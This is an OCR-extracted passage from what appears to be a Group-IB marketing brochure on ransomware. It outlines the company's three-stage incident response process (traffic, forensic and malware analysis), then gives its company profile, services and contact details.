What Group-IB experts do recommend and consider
extremely important, however, is responding to ran-
somware attacks appropriately.

A professional response to ransomware allows you to:

Minimize damage

Clean yourinfrastructure, detect “sleeping” backdoors, and pre-
vent similar incidents in the future

Gather all the information needed to create a list of Indicators
of Compromise

Collect evidence and information necessary for investigations

Get recommendations on enhancing the information security
level of your infrastructure and personnel

GRDUP|EB|
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STAGES OF GROUP-IB’S
INCIDENT RESPONSE PLAN

Ll > Network traffic analysis
STAGE 1 Implementing Group-IB Threat Hunting Framework allows
the response team to:
Monitor network traffic
Detect suspicious communications that cannot be detected
by signature-based security systems
Analyze and block data on end devices
Ll > Forensic analysis
STAGE 2 A rapid forensic analysis of workstations and servers used
by attackers is carried out in order to identify:
Where the compromise originated
How the attackers moved across the network
What tools were used
What vulnerabilities were exploited
Ll > Malware analysis
STAGE 3 Digital forensic laboratory specialists conduct basic or advanced
static and dynamic analysis of malicious code detected during the
incident response, which allows them to:
Detect tracks quickly and efficiently
Keep malicious code from becoming fixed in systems while pre-
venting the infrastructure from being re-infected
Neutralize threats that have already spread and become
entrenched
Once the above steps have been completed, Group-IB experts
prepare a detailed report describing the incident as well as a set
of recommendations forimproving infrastructure security. This
minimizes the risk of similarincidents occurring in the future.
O The Group-IB team would be more than happy to support
your business by offering the following:
Contact us to learn more - Remote Incident Response service.
about our services: - Two additional free months when taking out a one-year subscrip-
internationalsales@group-ib.com tion to the Incident Response Retainer service. Learn more
GRDUP|EB|
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ABOUT GROUP-IB

Group-IB is one of the world's leading developers of solutions
designed to identify and prevent cyberattacks, detect fraud, and
protect intellectual property online.

Group-IB's security ecosystem automatically tracks malicious
activities, extracts and analyzes threat data, and maps adversaries’
infrastructure and enriches their profiles. Our top-tier experts relent-
lessly reinforce our technologies with insights “from the battlefield”.

Recommended by the Organization
for Security and Cooperation 17 years 65'000+ 1'200+ 500+
in Europe (OSCE) hands-on hours of incident cybercrime world-class
experience response investigations cybersecurity
experience worldwide experts

GROUP-IB PRODUCTS

Threat Intelligence & Attribution
Permanent member

of the World Economic Forum Threat Huntmg Framework

Fraud Hunting Platform
Digital Risk Protection

Group-IB is ranked among the best
Threat Intelligence vendors in the world,

according to IDC, Gartner and Forrester INTELLIGENCE-DRIVEN SERVICES

PREVENTION RESPONSE
Penetration testing - CERT-GIB
One of the Top 7 most influential - Security Assessment - Incident Response
;%rzgi;'zi;notrztfnzytzeéizﬁg'sz Compromise Assessment - Incident Response Retainer
Insider - Red Teaming
Pre-IR Assessment INVESTIGATION
Compliance Audit - Digital Forensics
- Investigation
EDUCATION - eDiscovery
Digital Forensics Analyst - Financial Forensics

Malware Analyst
Incident Responder
Threat Hunter

Contact us info@group-ib.com ; |
to learn more www.group-ib.com GROUR|IB



